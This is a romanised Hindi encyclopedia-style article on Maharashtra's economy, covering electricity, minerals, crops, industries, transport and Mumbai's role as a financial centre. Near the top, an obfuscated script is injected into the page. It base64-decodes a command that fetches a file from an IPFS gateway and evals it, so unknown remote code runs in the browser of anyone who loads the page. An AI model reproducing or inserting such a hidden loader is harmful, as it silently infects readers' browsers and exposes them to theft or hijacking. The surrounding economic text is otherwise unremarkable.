महाराष्ट्र की अर्थव्यवस्था

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>niji aur sarvajanik udyamoan ke madhyam se maharashtr bharat ka ek suvikasit aur samriddh rajy ban gaya hai. vidyut utpadan is disha mean sabase mahattvapoorn sahayak karakoan mean se ek hai. maharashtr mean pashchimi ghat sthit jalaprapatoan ke zariye panabijali utpadan kiya jata hai. poorvi kshetroan mean tap- vidyut utpadan ki pradhanata hai. nagapur aur chandrapur mean b de tap vidyut grih sthit haian. bharat ka pahala paramanu bijali sanyantr muanbee se 113 kilomitar uttar mean sthit hai. bijali ki badhati huee maang ko poora karane ke lie ne vidyut sanyantr lagae ja rahe haian. maharashtr ke khanij sansadhanoan mean maianganij, koyala, choona- patthar, lauh ayask, taanba, b aauksait aur silikayukt ret shamil hai. inamean se adhikaansh khanij padarth, bhandara, nagapur aur chandrapur ziloan mean pae jate haian aur dakshin koankan mean bhi kuchh bhandar haian. sahyadri kshetr ke kee hissoan mean b aauksait bhi paya jata hai. b aaumbe haee mean haidrokarban ka utpadan bhi badh raha hai.

krishi

maharashtr ke do- tihaee nivasi krishak haian. fasal utpadan sunishchit karane ke lie vidyutikaran, unnat bijoan ka upayog, vyapak kheti aur kisanoan ko suvidha pradan karane jaise upay kie ja rahe haian. aparyapt tatha asaman varsha se nipatane ke lie kee sianchaee pariyojanaean banaee gee haian aur kee pariyojanaean nirmanadhin haian. fasaloan mean bajara, jvar aur dalahan pramukh hai. 1,016 milimitar se adhik varsha vale kshetroan mean chaval ki kheti hoti hai. nami dharan karane ki kshamata vale khetoan mean shit rritu mean gehooan ki fasal ugaee jati hai. 610-990 milimitar varsha vale kshetroan mean kapas, tanbakoo aur mooangaphali pramukh fasalean haian. ajakal bagavani par bhi zor diya ja raha hai. phaloan ki kheti mean aangoor, am, kela aur kajoo zyada lokapriy haian. sianchaee ki suvidha ne maharashtr bharat ka sabase b da ganna aur chini utpadak kshetr bana diya gaya hai. chini ne krishi- audyogik kshetroan ko badhava diya hai.

udyog

mitti aparadan tatha krishi utpadoan ke bhandaran, parivahan aur vipanan ki samasyaoan ke mamale mean ullekhaniy saphalata mili hai. samudri machhali pak dane mean maharashtr ka sthan keral ke bad ata hai. yahaan ke sabase purane nirman karakhane sooti vastroan ki milean hai. halaanki kuchh bimar ikaiyaan haian, lekin inamean se adhikaansh muanbee aur nagapur ke vishalatam adhunik udyogoan ka hissa haian. muanbee-pune udyog kshetr mean is rajy ke sabase adhik bhari aur uchch praudyogiki vale udyog keandrit haian. 1976 mean muanbee ke pas samudr mean bharat ke pahale samudri tel kuean ki sthapana se petro rasayan udyog ka bhi kafi tezi se vikas hua hai. tel parishkaran aur krishi upakaran, parivahan upakaran, rab d utpad, bijali v tel ke panp, kharad, kanpresar, chini mil ki mashinari, taiparaitar, refrijaretar, ilektr aaunik upakaran, telivijan aur rediyo set jaisi vastuoan ka utpadan mahattvapoorn hota ja raha hai. yahaan vahan nirman udyog aranbhik avastha mean hai. banbee bharat ke film udyog ka rashtriy keandr hai. pavaraloom se vastrotpadan ke lie ichalakaranji aur malegaanv prasiddh haian. muanbee, nagapur, akola, amaravati aur solapur mean vibhinn prakar ke audyogik utpadanoan ka tezi se vikas ho raha hai. paranparik krishi udyog keandroan mean jalagaanv, dhule, kolhapur, saangali aur miraj shamil haian. nagapur, bhusaval, mahabaleshvar, ratnagiri aur muanbee mean phaloan ko dibbaband karane ka udyog arthik drishti se mahattvapoorn hai. yahaan ke vanotpadoan mean imarati lak di, baans, chandan aur teandoo patte (bi di banane ke kam ane vale) shamil haian. bekari ko bhi mahattv mil raha hai.

parivahan

parivahan pranaliyoan mean sabase pahala sthan muanbee mean keandrit rel netavark ka hai. muanbee aur arab sagar ke tatiy maidan ke shaharoan ko jo dane vale koankan relave ne ise mazabooti pradan ki hai. relamargoan par vardha aur nagapur mahattvapoorn jankshan haian. sarvajanik kshetr ke nivesh mean pratyek gaanv ko kisi pramukh s dak ke 8 kilomitar ke dayare mean pahuancha diya hai. rajy ke rajamargoan ke bich chhute hue hissoan ko poora kar liya gaya hai tatha durgam kshetroan mean zila s dakoan ka vikas kar liya gaya hai. paanch rashtriy rajamarg is rajy ko dilli, ilahabad, kolakata (bhootapoorv kalakatta), haidarabad aur bangalor se jo date haian. in rajamargoan aur any s dakoan par trak parivahan mean bhari vriddhi huee hai. rajy parivahan ki basoan aur niji udyamiyoan dvara sanchalit vishesh basoan ke madhyam se savariyoan ke yatayat mean bhi vriddhi huee hai. muanbee dainik havaee seva dvara pune, aurangabad, nagapur aur nasik aur bharat ke sabhi mahanagaroan se ju da hua hai. muanbee mean sthit aantarrashtriy havaee adda is nagar ko uttari amerika, yoorop, dakshin- poorv v dakshin eshiya, siangapur aur aaustreliya ke pramukh nagaroan se jo data hai. aantardeshiy jal- parivahan ki bhoomika gaun hai. koankan tat ke bandaragahoan par zyada dhyan diya ja raha hai.

mumbee ki arthavyavastha

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mumbee bharat ki arthik dhuri evan vanijyik v vittiy kendr hai. kuchh mayanoan mean isaki arthik sanrachana bharat mean nabhikiy aur puratan kaloan ke sanyojan ko pradarshit karati hai. is nagar mean bharatiy paramanu oorja ayog sthit hai, jisamean paramanu riaiktar aur plootoniyam vilagnak sthit hai. nagar ke kee hissoan mean ab bhi eedhan aur oorja ke paramparik jaivik sadhanoan ka istemal hota hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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